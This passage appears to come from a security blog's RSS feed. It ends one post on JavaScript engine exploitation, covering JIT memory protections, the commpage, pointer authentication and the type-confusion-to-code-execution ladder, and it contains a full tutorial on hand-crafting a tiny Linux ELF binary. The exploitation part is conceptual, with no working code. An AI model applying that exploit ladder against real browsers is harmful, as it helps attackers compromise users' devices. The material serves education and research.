<td><code>rw-</code></td>
</tr>
<tr>
<td><code>rwx</code></td>
<td>7</td>
<td><code>r-x</code></td>
</tr>
</tbody>
</table>
<p>The two interesting rows are the executable-and-writable ones, <code>-wx</code> and <code>rwx</code>: both lose their <code>w</code> in the effective column. To write into a JIT page the runtime must first flip the thread&rsquo;s APRR register so that slot maps back to a writable permission, do the copy, and flip it back, which is exactly the window the inlined <code>performJITMemcpy</code> opens and closes.</p>
<p><strong>The commpage.</strong> Both attacker and defender care about the <strong>commpage</strong>, a read-only page mapped into every process that holds frequently used routines and values. It is the Apple analogue of Windows&rsquo; <code>KUSER_SHARED_DATA</code>. It is also a quietly revealing artifact: Apple publishes the relevant source, but the entries at offsets <code>0x110</code> and <code>0x118</code>, the ones tied to the APRR machinery, are blanked out, a literal gap in the public code. Even &ldquo;open&rdquo; source hides the parts you can only recover by reversing.</p>
<p><strong>PAC.</strong> On top of all that, pointer authentication signs pointers with a hardware key, so you cannot forge a usable code pointer from a memory leak alone. We take it apart in <a href="/blog/pointer-authentication-arm64e/">a dedicated post</a>. And even once you do achieve code execution in the renderer, you are still inside a sandbox. The second half of a real chain is escaping it.</p>
<h2 id="conclusion">Conclusion</h2>
<p>The core of JavaScript engine exploitation is mechanical and remarkably uniform across engines. One memory bug becomes a type confusion, the type confusion builds <code>addrof</code> and <code>fakeobj</code>, those build arbitrary read and write, and read/write becomes, or used to easily become, code execution. The encodings change between JSC and V8, the field that names an object&rsquo;s type is a number here and a pointer there, but the ladder is the same one every time.</p>
<p>What actually consumes the effort on a modern target is everything wrapped around that core: W^X, bulletproof JIT, APRR, pointer authentication, and the sandbox you still have to climb out of after the renderer falls. Finding and triggering the bug is the part you can teach in an afternoon. Turning it into a reliable exploit on a current iPhone is the part that is genuinely hard, and that asymmetry, a simple core wrapped in years of mitigation, is exactly what makes the work interesting.</p>]]></description>
    </item>
    <item>
      <title>Building the smallest ELF program</title>
      <link>https://sigreturn.com/blog/building-the-smallest-elf-program/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/building-the-smallest-elf-program/</guid>
      <pubDate>Sun, 16 Jun 2024 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>Reverse Engineering</category>
      <category>elf</category>
      <category>linux</category>
      <category>assembly</category>
      <category>x86-64</category>
      <description><![CDATA[<p>In this post we will have fun trying to create the smallest possible 64 bits Linux program (ELF binary) that simply outputs &ldquo;Hello world!&rdquo; when it is executed.</p>
<p>The idea here is to understand the compilation process, linking, how loader works, how <a href="https://en.wikipedia.org/wiki/Executable_and_Linkable_Format">ELF file format</a> is structured, and so on.</p>
<h2 id="state-of-the-art">State of the art</h2>
<p>So let&rsquo;s simply create a program in C that outputs our string. In this default case we will not optimize anything nor try to reduce our binary size.</p>
<pre><code class="language-c">#include &lt;stdio.h&gt;

void main(void)
{
    printf(&quot;Hello world!&quot;);
}
</code></pre>
<p>Let&rsquo;s compile it with <strong>GCC</strong> and run it:</p>
<pre><code class="language-bash">$ gcc smallest_elf.c -o smallest_elf.bin
$ ./smallest_elf.bin
Hello world!
</code></pre>
<p>Initial size: 16704 bytes.</p>
<p>The default compiled binary is quite big for only <strong>65</strong> bytes of written code. Why is that? Let&rsquo;s analyse out binary and check what we can remove to reduce its size.</p>
<h3 id="too-many-sections">Too many sections</h3>
<pre><code>.interp
.note.gnu.propert
.note.gnu.build-i
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got
.data
.bss
.comment
.symtab
.strtab
.shstrtab
</code></pre>
<p>Well first of all, our binary has <strong>30</strong> sections inside, we don&rsquo;t need all of them. We do not need relocations, symbols, or even PLT/GOT and a lot of other stuff. The compiler produced the default binary it would produce even for longer code.</p>
<div class="admonition tip">
<p>Use <code>readelf</code> to see the ELF&rsquo;s sections: <code>readelf -S smallest_elf.bin</code></p>
</div>
<h3 id="too-many-symbols">Too many symbols</h3>
<pre><code>0000000000003dc8 d _DYNAMIC
0000000000003fb8 d _GLOBAL_OFFSET_TABLE_
0000000000002000 R _IO_stdin_used
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
000000000000215c r __FRAME_END__
0000000000002014 r __GNU_EH_FRAME_HDR
0000000000004010 D __TMC_END__
0000000000004010 B __bss_start
                 w __cxa_finalize@@GLIBC_2.2.5
0000000000004000 D __data_start
0000000000001100 t __do_global_dtors_aux
0000000000003dc0 d __do_global_dtors_aux_fini_array_entry
0000000000004008 D __dso_handle
0000000000003db8 d __frame_dummy_init_array_entry
                 w __gmon_start__
0000000000003dc0 d __init_array_end
0000000000003db8 d __init_array_start
00000000000011e0 T __libc_csu_fini
0000000000001170 T __libc_csu_init
                 U __libc_start_main@@GLIBC_2.2.5
0000000000004010 D _edata
0000000000004018 B _end
00000000000011e8 T _fini
0000000000001000 t _init
0000000000001060 T _start
0000000000004010 b completed.8061
0000000000004000 W data_start
0000000000001090 t deregister_tm_clones
0000000000001140 t frame_dummy
0000000000001149 T main
                 U printf@@GLIBC_2.2.5
00000000000010c0 t register_tm_clones
</code></pre>
<p>Our program has symbols, that&rsquo;s additional information we don&rsquo;t need to display our string.</p>
<div class="admonition tip">
<p>Use <code>nm</code> to see the ELF&rsquo;s symbols: <code>nm smallest_elf.bin</code></p>
</div>
<h3 id="too-much-code">Too much code</h3>
<p>First of all, the only executable section we need is <code>.text</code>, that&rsquo;s where our main code is. But we notice there are instructions outside this section:</p>
<pre><code>0000000000001000 &lt;.init&gt;:
    1000:   f3 0f 1e fa             endbr64
    1004:   48 83 ec 08             sub    rsp,0x8
    1008:   48 8b 05 d9 2f 00 00    mov    rax,QWORD PTR [rip+0x2fd9]
    100f:   48 85 c0                test   rax,rax
    1012:   74 02                   je     1016 &lt;__cxa_finalize@plt-0x2a&gt;
    1014:   ff d0                   call   rax
    1016:   48 83 c4 08             add    rsp,0x8
    101a:   c3                      ret
</code></pre>
<p>Also, there are <strong>388</strong> bytes of instructions in <code>.text</code> section, that&rsquo;s a lot considering we just want to output &ldquo;Hello world!&rdquo;.</p>
<div class="admonition tip">
<p>Use <code>objdump</code> to see the ELF&rsquo;s executable section&rsquo;s instructions: <code>objdump -d smallest_elf.bin</code></p>
</div>
<h3 id="too-much-empty-space">Too much empty space</h3>
<p>We also notice something interesting in our binary, there is a <strong>lot</strong> of empty space, filled with zeroes.</p>
<pre><code>00000600: 0000 0000 0000 0000 0000 0000 0000 0000
00000610: 0000 0000 0000 0000 0000 0000 0000 0000
00000620: 0000 0000 0000 0000 0000 0000 0000 0000
00000630: 0000 0000 0000 0000 0000 0000 0000 0000
00000640: 0000 0000 0000 0000 0000 0000 0000 0000
00000650: 0000 0000 0000 0000 0000 0000 0000 0000
00000660: 0000 0000 0000 0000 0000 0000 0000 0000
00000670: 0000 0000 0000 0000 0000 0000 0000 0000
[...]
</code></pre>
<p>For example the space above has <strong>2544</strong> bytes of zeroes in total. There are several empty spaces like this.</p>
<div class="admonition tip">
<p>Use <code>xxd</code> to see a file&rsquo;s hexadecimal data: <code>xxd smallest_elf.bin</code></p>
</div>
<h2 id="quick-optimizations">Quick optimizations</h2>
<p>We will go ahead to try and reduce our executable&rsquo;s size, we will implement several methods so you can get an idea of what can be done to produce the smallest possible binary by manipulating compiled binary.</p>
<h3 id="strip-symbols">Strip symbols</h3>
<p>First of all, let&rsquo;s remove all the symbols and relocation information from the executable.</p>
<pre><code class="language-bash">$ nm smallest_elf.bin
nm: smallest_elf.bin: no symbols
</code></pre>
<div class="admonition tip">
<p>Use <code>strip</code> to strip an executable from all its symbols and relocation information: <code>strip -s smallest_elf.bin</code></p>
</div>
<p>After the operation, the size of the binary goes from to <strong>16704</strong> to <strong>14472</strong>.</p>
<p>New size: 14472 bytes.</p>
<h3 id="remove-unnecessary-sections">Remove unnecessary sections</h3>
<p>We can also remove some sections that are unnecessary to the main task of our program, for example <code>.data</code>, or <code>.gnu.version</code>.</p>
<p>Indeed, we do not need those sections, for example our string &ldquo;Hello world!&rdquo; is already stored in <code>.rodata</code> section :</p>
<pre><code>00002000: 0100 0200 4865 6c6c 6f20 776f 726c 6421  ....Hello world!
</code></pre>
<div class="admonition tip">
<p>Use <code>objcopy</code> to remove a specific section from an ELF executable: <code>objcopy --remove-section .data smallest_elf.bin</code></p>
</div>
<h2 id="major-modifications">Major modifications</h2>
<p>We will go ahead to try and reduce our executable&rsquo;s size even more, we will implement several methods so you can get an idea of what can be done to produce the smallest possible binary while still keeping its initial function : displaying a string.</p>
<div class="admonition warning">
<p>Keep in mind that we&rsquo;re doing this for fun, and for the technical challenge. In real life, you should not release programs that you have modified that way.</p>
</div>
<h3 id="get-rid-of-programming-language">Get rid of programming language</h3>
<p>We all now programming languages are converted to assembly language by the compiler during the compilation process and the code can even be optimized automatically. The output may result in more instructions than needed for our task.</p>
<p>Let&rsquo;s re-write our code in assembly language!</p>
<pre><code class="language-asm">section .data
    msg:    db &quot;Hello world&quot;, 33, 10, 0
    format: db &quot;%s&quot;, 10, 0

section .text
    global main

main:
    extern printf
    push rbp
    mov rbp, rsp
    mov rdi, msg
    call printf
    pop rbp
    ret
</code></pre>
<p>We assemble the code with <code>nasm</code> then link the object with <code>gcc</code> then run it.</p>
<pre><code class="language-bash">$ nasm -f elf64 smallest_elf.asm &amp;&amp; gcc smallest_elf.o -o smallest_elf.bin -no-pie
$ ./smallest_elf.bin
Hello world!
</code></pre>
<p>New size: 14368 bytes.</p>
<p>We only reduced our file size by <strong>104</strong> bytes by completely rewriting it in assembly. Why?</p>
<p>Well by giving the assembled code object to <code>gcc</code> we only told it what the <code>.text</code> content should look like, but all the other sections and additional data are still here. In order to get rid of it, we will have to link our binary ourselves, getting rid of <code>gcc</code> routines.</p>
<h2 id="getting-straight-to-the-point">Getting straight to the point</h2>
<p>We have rewritten the whole file in assembly and compiling it with GCC, but we&rsquo;re kind of stuck here. How do we reduce the size even more? Maybe trying another compiler? Reducing code even more?</p>
<p>Let&rsquo;s get straight to the point: we need the program to display &ldquo;Hello world!&rdquo;, that&rsquo;s it. We don&rsquo;t want external dependencies like the <code>printf()</code> function.</p>
<p>Let&rsquo;s rewrite the whole assembly code and remove all external references and symbols!</p>
<h3 id="removing-external-references">Removing external references</h3>
<p>We will make the following changes to our assembly code:</p>
<ul>
<li>Removing any call to external functions like <code>printf()</code>. Instead, we&rsquo;ll use direct system calls like <code>write()</code> and <code>exit()</code>.</li>
<li>Removing references to a &ldquo;main&rdquo; function, we don&rsquo;t need that, we don&rsquo;t need &ldquo;functions&rdquo; in our program.</li>
<li>Removing prologues, epilogues, and stack frames: yes, those useless bytes at the beginning and end of our code, why would we need them here?</li>
<li>The whole code will be strictly about printing our buffer and exiting the program.</li>
</ul>
<pre><code class="language-asm">global _start

section .data
        msg:    db &quot;Hello world&quot;, 33, 10, 0

section .text

_start:
        mov rdi, 1      ; standard output
        mov rsi, msg    ; buffer to print
        mov rdx, 14     ; size of the buffer

        mov rax, 1      ; set write syscall

        syscall         ; call write

        mov rdi, 0      ; value to return
        mov rax, 0x3C   ; set exit syscall

        syscall         ; call exit
</code></pre>
<div class="admonition note">
<p>You can notice that I&rsquo;m using the exit system call to properly stop the program after printing the buffer. Otherwise, the program would crash, but the buffer will still be printed. Up to you to decide if you consider the crash important or not in this exercise.</p>
<p>In my case, I chose to consider the program should always properly exit.</p>
</div>
<h3 id="get-rid-of-compilers">Get rid of compilers</h3>
<p>We don&rsquo;t have any C code anymore, why would we even need a compiler? Let&rsquo;s get rid of <code>gcc</code> and directly link the code ourselves.</p>
<pre><code class="language-bash">$ nasm -f elf64 smallest_elf.asm
$ ld -m elf_x86_64 smallest_elf.o -o smallest_elf.bin
</code></pre>
<p>Let&rsquo;s run it and check:</p>
<pre><code class="language-bash">$ ./smallest_elf.bin
Hello world!
</code></pre>
<p>With the rewritten assembly code and linking without using any compiler, we reduced the size to <strong>8488</strong> bytes.</p>
<p>New size: 8488 bytes.</p>
<h3 id="get-rid-of-the-data-section">Get rid of the data section</h3>
<p>We initially put our &ldquo;Hello world!&rdquo; string in the <code>.data</code> section, but at this point we&rsquo;re not following any convention and we&rsquo;ll just remove the <code>.data</code> section to put our string directly inside the <code>.text</code> code section. Yeah it&rsquo;s a bit weird but don&rsquo;t worry, it will work.</p>
<pre><code class="language-asm">global _start

section .text

_start:
        mov rdi, 1      ; standard output
        mov rsi, msg    ; buffer to print
        mov rdx, 14     ; size of the buffer

        mov rax, 1      ; set write syscall

        syscall         ; call write

        mov rdi, 0      ; value to return
        mov rax, 0x3C   ; set exit syscall

        syscall         ; call exit
msg:
        db      &quot;Hello world&quot;, 33, 10, 0
</code></pre>
<p>Doing this small manipulation, we manage to divide by two the last size of the binary!</p>
<p>New size: 4360 bytes.</p>
<h3 id="analysing-the-situation">Analysing the situation</h3>
<p>We did pretty much everything we could to reduce the binary size:</p>
<ul>
<li>Writing directly assembly code</li>
<li>No external function, no stack frames, only code section</li>
<li>No compiler, directly linking</li>
<li>Stripping the symbols</li>
</ul>
<p>At this point, there isn&rsquo;t much more we can do in a conventional way to reduce the binary size. By the way, why is it still that big?</p>
<p>We can notice through <code>readelf</code> command that our binary still has a lot of stuff inside of it. We have the <code>.shstrtab</code> section header, and a <strong>huge</strong> amount of empty space, because some tables and sections have been encoded as &ldquo;empty spaces&rdquo; filled with null bytes in the binary.</p>
<p>Nearly <strong>92%</strong> of our binary is filled with useless empty spaces.</p>
<p>Check the binary composition with <code>readelf -a smallest_elf.bin</code> and the actual data in hexadecimal with <code>xxd smallest_elf.bin</code>. Notice all the zero bytes.</p>
<h2 id="going-further">Going further</h2>
<p>Some step in the linking process will produce this kind of ELF binary filled with a lot of empty space, that will simply increase our binary size.</p>
<p>Now we will have to build our binary ourselves, manually, without relying on the assembler or the linker.</p>
<h3 id="identifying-the-needed-information">Identifying the needed information</h3>
<p>There is a lot of useless information in our binary so let&rsquo;s start by identification strictly what we need:</p>
<ul>
<li>The ELF header, otherwise it would not be considered an an ELF by the system and could not be loaded</li>
<li>Our actual code</li>
</ul>
<p>This portion at the beginning is our header:</p>
<pre><code>00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 0010 4000 0000 0000  ..&gt;.......@.....
00000020: 4000 0000 0000 0000 4810 0000 0000 0000  @.......H.......
00000030: 0000 0000 4000 3800 0200 4000 0300 0200  ....@.8...@.....
00000040: 0100 0000 0400 0000 0000 0000 0000 0000  ................
00000050: 0000 4000 0000 0000 0000 4000 0000 0000  ..@.......@.....
00000060: b000 0000 0000 0000 b000 0000 0000 0000  ................
00000070: 0010 0000 0000 0000                      ........
</code></pre>
<p>And this portion is our code:</p>
<pre><code>00001000: bf01 0000 0048 be27 1040 0000 0000 00ba  .....H.'.@......
00001010: 0e00 0000 b801 0000 000f 05bf 0000 0000  ................
00001020: b83c 0000 000f 0548 656c 6c6f 2077 6f72  .&lt;.....Hello wor
00001030: 6c64 210a 00                             ld!..
</code></pre>
<p>And that&rsquo;s it, we don&rsquo;t really care what all the remaining is.</p>
<p>Let&rsquo;s manually construct our new binary with only these two blocks of data. Use any method you like to do that, I used simple Linux commands.</p>
<pre><code class="language-bash">$ head -c 120 smallest_elf.bin &gt; new_smallest_elf.bin.header # extract header
$ tail -c 264 smallest_elf.bin &gt; tmp.bin # extract end of file starting from our code
$ head -c 53 tmp.bin &gt; new_smallest_elf.bin.code # extract our code from it
$ cat new_smallest_elf.bin.header new_smallest_elf.bin.code &gt; new_smallest_elf.bin # assemble both blocks into one final ELF executable
</code></pre>
<p>So this is what we get:</p>
<pre><code>00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 0010 4000 0000 0000  ..&gt;.......@.....
00000020: 4000 0000 0000 0000 4810 0000 0000 0000  @.......H.......
00000030: 0000 0000 4000 3800 0200 4000 0300 0200  ....@.8...@.....
00000040: 0100 0000 0400 0000 0000 0000 0000 0000  ................
00000050: 0000 4000 0000 0000 0000 4000 0000 0000  ..@.......@.....
00000060: b000 0000 0000 0000 b000 0000 0000 0000  ................
00000070: 0010 0000 0000 0000 bf01 0000 0048 be27  .............H.'
00000080: 1040 0000 0000 00ba 0e00 0000 b801 0000  .@..............
00000090: 000f 05bf 0000 0000 b83c 0000 000f 0548  .........&lt;.....H
000000a0: 656c 6c6f 2077 6f72 6c64 210a 00         ello world!..
</code></pre>
<p>Obviously, a lot of information from the headers is inaccurate since we modified the whole structure of the file and the program will not execute:</p>
<pre><code class="language-bash">$ ./new_smallest_elf.bin
-bash: ./new_smallest_elf.bin: cannot execute binary file: Exec format error
</code></pre>
<p>Let&rsquo;s check what&rsquo;s happening with <code>readelf</code>:</p>
<pre><code class="language-bash">$ readelf -a new_smallest_elf.bin
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x401000
  Start of program headers:          64 (bytes into file)
  Start of section headers:          4168 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         2
  Size of section headers:           64 (bytes)
  Number of section headers:         3
  Section header string table index: 2
readelf: Error: Reading 192 bytes extends past end of file for section headers
readelf: Error: Section headers are not available!
readelf: Error: Reading 112 bytes extends past end of file for program headers

There is no dynamic section in this file.
readelf: Error: Reading 112 bytes extends past end of file for program headers
</code></pre>
<p>Several issues identified here:</p>
<ul>
<li>Entry point address incorrect: our new code starts at offset <strong>0x78</strong>, not <strong>0x1000</strong>.</li>
<li>Start of section headers incorrect: we do not have any section header, this should be <strong>zero</strong>.</li>
<li>Number of program headers incorrect: we only have <strong>1</strong> program header and not <strong>2</strong>.</li>
<li>Size of section headers incorrect: we do not have any section header, this should be <strong>zero</strong>.</li>
<li>Number of section headers incorrect: we do not have any section header, this should be <strong>zero</strong>.</li>
<li>Section header string table index: we do not have any section header, this should be <strong>zero</strong>.</li>
</ul>
<p>We also need to adjust several stuff in the program header:</p>
<ul>
<li>Virtual address of program needs to be changed from <strong>0x400000</strong> to <strong>0x400078</strong> because this is where our program starts. Not aligned? We don&rsquo;t care.</li>
<li>Permissions of the segment in the program header is read-only (<strong>0x004</strong>) and needs to be readable, writable and executable for simplicity (<strong>0x007</strong>).</li>
</ul>
<p>We manually apply all those modification directly through a hexadecimal editor and run <code>readelf</code> again:</p>
<pre><code class="language-bash">$ readelf -a new_smallest_elf.bin
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x400078
  Start of program headers:          64 (bytes into file)
  Start of section headers:          0 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         1
  Size of section headers:           0 (bytes)
  Number of section headers:         0
  Section header string table index: 0

There are no sections in this file.

There are no section groups in this file.

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  LOAD           0x0000000000000078 0x0000000000400078 0x0000000000400000
                 0x00000000000000b0 0x00000000000000b0  RWE    0x1000

There is no dynamic section in this file.

There are no relocations in this file.
No processor specific unwind information to decode

Dynamic symbol information is not available for displaying symbols.

No version information found in this file.
</code></pre>
<p>This time, no error. But we still need to adjust one small detail inside our actual code. Indeed, we assembled the code before making all those modifications and we are calling the <code>write</code> function: <code>write(1, buffer, 13);</code></p>
<p>Indeed, the &ldquo;Hello world!&rdquo; buffer is no longer located at offset <strong>0x1027</strong>, the new offset is <strong>0x9f</strong>.</p>
<p>Here is the final modified binary (modified bytes versus the previous dump):</p>
<pre><code>00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 7800 4000 0000 0000  ..&gt;.....x.@.....
00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
00000030: 0000 0000 4000 3800 0100 0000 0000 0000  ....@.8.........
00000040: 0100 0000 0700 0000 7800 0000 0000 0000  ........x.......
00000050: 7800 4000 0000 0000 0000 4000 0000 0000  x.@.......@.....
00000060: b000 0000 0000 0000 b000 0000 0000 0000  ................
00000070: 0010 0000 0000 0000 bf01 0000 0048 be9f  .............H..
00000080: 0040 0000 0000 00ba 0e00 0000 b801 0000  .@..............
00000090: 000f 05bf 0000 0000 b83c 0000 000f 0548  .........&lt;.....H
000000a0: 656c 6c6f 2077 6f72 6c64 210a            ello world!.
</code></pre>
<p>Let&rsquo;s test it now:</p>
<pre><code class="language-bash">./new_smallest_elf.bin
Hello world!
</code></pre>
<p>New size: 172 bytes.</p>
<p>We have hit a new record by reducing our initial program size from <strong>16704</strong> to only <strong>172</strong> bytes.</p>
<p>We could call it a day, but hey, can we actually do better?</p>
<h2 id="going-even-further">Going even further</h2>
<p>Let&rsquo;s try to shrink even more our executable. But in order to do that, let&rsquo;s modify a little bit the initial exercise. We no longer need to display &ldquo;Hello world!&rdquo; string, but just compile <strong>any</strong> ELF executable, smallest as possible.</p>
<p>In order to be considered a valid executable:</p>
<ul>
<li>It must execute at least one assembly instruction</li>
<li>It must not crash</li>
</ul>
<p>Let&rsquo;s take our functional header and remove all the custom code at offset <strong>0x78</strong>. We will append new code there.</p>
<pre><code>00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 7800 4000 0000 0000  ..&gt;.....x.@.....
00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
00000030: 0000 0000 4000 3800 0100 0000 0000 0000  ....@.8.........
00000040: 0100 0000 0700 0000 7800 0000 0000 0000  ........x.......
00000050: 7800 4000 0000 0000 0000 4000 0000 0000  x.@.......@.....
00000060: b000 0000 0000 0000 b000 0000 0000 0000  ................
00000070: 0010 0000 0000 0000                      ........
</code></pre>
<h3 id="smallest-possible-code">Smallest possible code</h3>
<p>Considering the previous conditions, our new code must include a routine to properly exit the program. We could try something like this:</p>
<pre><code class="language-asm">mov rax, 0x3C   ; set exit syscall
syscall         ; call exit
</code></pre>
<p>Yes, we did omit the <code>rdi</code> register containing the value to be returned by the program. We don&rsquo;t really care, the return value is not a condition. We&rsquo;ll let the program return whatever will be in the register.</p>
<p>Once converted to opcodes we get <code>b8 3c 00 00 00 0f 05</code>, so <strong>7</strong> bytes. Instead of using a <code>mov</code> instruction, let&rsquo;s use <code>push</code> and <code>pop</code> for the same result.</p>
<pre><code class="language-asm">push 0x3C       ; set exit syscall
pop rax
syscall         ; call exit
</code></pre>
<p>This gets us the opcodes <code>6a 3c 58 0f 05</code> (<strong>5</strong> bytes) which is slightly better, we&rsquo;ll stick with that one. Let&rsquo;s append it to our header and run it!</p>
<pre><code>00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 7800 4000 0000 0000  ..&gt;.....x.@.....
00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
00000030: 0000 0000 4000 3800 0100 0000 0000 0000  ....@.8.........
00000040: 0100 0000 0700 0000 7800 0000 0000 0000  ........x.......
00000050: 7800 4000 0000 0000 0000 4000 0000 0000  x.@.......@.....
00000060: b000 0000 0000 0000 b000 0000 0000 0000  ................
00000070: 0010 0000 0000 0000 6a3c 580f 05         ........j&lt;X..
</code></pre>
<p>We notice that the program runs fine and even returns the default <strong>zero</strong> value.</p>
<pre><code class="language-bash">$ ./smallest_elf_v2.bin
$ echo $?
0
</code></pre>
<p>New size: 125 bytes.</p>
<h3 id="going-beyond-the-documentation">Going beyond the documentation</h3>
<p>Actually we can still save a few bytes by taking advantage of the fact that some portions of the header will not be verified upon execution. For example the 7-bytes &ldquo;padding&rdquo; after the magic byte or the last elements of the ELF header.</p>
<p>First, let&rsquo;s move our actual code, from the end of the program, directly inside the padding of the ELF header, and update the offsets accordingly. It will no longer be located at <strong>0x78</strong>, but <strong>0x08</strong>.</p>
<p>Then, let&rsquo;s overlap the ELF header and the program header at the very end of the ELF header, by starting the program header at offset <strong>0x38</strong> instead of <strong>0x40</strong>. This works because the original overwritten data is <code>0100 0000</code>, and our program header starts with <code>0100 0000</code> as well.</p>
<p>Which gives us the following binary:</p>
<pre><code>00000000: 7f45 4c46 0201 0100 6a3c 580f 0500 0000  .ELF....j&lt;X.....
00000010: 0200 3e00 0100 0000 0800 4000 0000 0000  ..&gt;.......@.....
00000020: 3800 0000 0000 0000 0000 0000 0000 0000  8...............
00000030: 0000 0000 4000 3800 0100 0000 0700 0000  ....@.8.........
00000040: 0800 0000 0000 0000 0800 4000 0000 0000  ..........@.....
00000050: 0000 4000 0000 0000 b000 0000 0000 0000  ..@.............
00000060: b000 0000 0000 0000 0010 0000 0000 0000  ................
</code></pre>
<p>New size: 112 bytes.</p>
<h3 id="tricks-and-more-tricks">Tricks and more tricks</h3>
<p>The previous idea of overlapping the two headers can actually be applied to a larger scale.</p>
<p>The range from <strong>0x18</strong> to <strong>0x40</strong> can actually contain both ELF header and program header overlapped. The values that can be modified without impacting the program&rsquo;s functionality are in bold.</p>
<table>
<thead>
<tr>
<th>Original ELF header</th>
<th>Original program header</th>
<th>New overlapped header</th>
</tr>
</thead>
<tbody>
<tr>
<td>08</td>
<td>01</td>
<td>01</td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>40</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td>07</td>
<td>01</td>
</tr>
<tr>
<td>00</td>
<td><strong>00</strong></td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td><strong>00</strong></td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td><strong>00</strong></td>
<td>00</td>
</tr>
<tr>
<td>38</td>
<td>08</td>
<td>18</td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td>08</td>
<td>18</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td>40</td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td>00</td>
<td>01</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td><strong>00</strong></td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td><strong>00</strong></td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td><strong>40</strong></td>
<td>01</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td><strong>00</strong></td>
<td>00</td>
</tr>
<tr>
<td>40</td>
<td><strong>00</strong></td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td><strong>00</strong></td>
<td>00</td>
</tr>
<tr>
<td>38</td>
<td><strong>00</strong></td>
<td>38</td>
</tr>
<tr>
<td>00</td>
<td><strong>00</strong></td>
<td>00</td>
</tr>
<tr>
<td>01</td>
<td>B0</td>
<td>01</td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>07</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td>00</td>
<td>00</td>
</tr>
</tbody>
</table>
<p>By modifying the image address of our program and relocating our code right after the magic number, we get this executable of <strong>80 bytes</strong>:</p>
<pre><code>00000000: 7f45 4c46 6a3c 580f 0500 0000 0000 0000  .ELFj&lt;X.........
00000010: 0200 3e00 0100 0000 0100 0000 0100 0000  ..&gt;.............
00000020: 1800 0000 0000 0000 1800 0000 0100 0000  ................
00000030: 0000 0100 0000 3800 0100 0000 0000 0000  ......8.........
00000040: 0100 0000 0000 0000 0000 0000 0000 0000  ................
</code></pre>
<p>What we notice first is that most tools are lost with this binary. The Linux <code>file</code> command can only tell that this is an ELF, and <code>readelf</code> doesn&rsquo;t like it either.</p>
<pre><code class="language-bash">$ file smallest_elf.bin
smallest_elf.bin: ELF (AROS Research Operating System), unknown class 106

$ readelf -a smallest_elf.bin
ELF Header:
  Magic:   7f 45 4c 46 6a 3c 58 0f 05 00 00 00 00 00 00 00
  Class:                             &lt;unknown: 6a&gt;
  Data:                              &lt;unknown: 3c&gt;
  Version:                           88 &lt;unknown&gt;
  OS/ABI:                            AROS
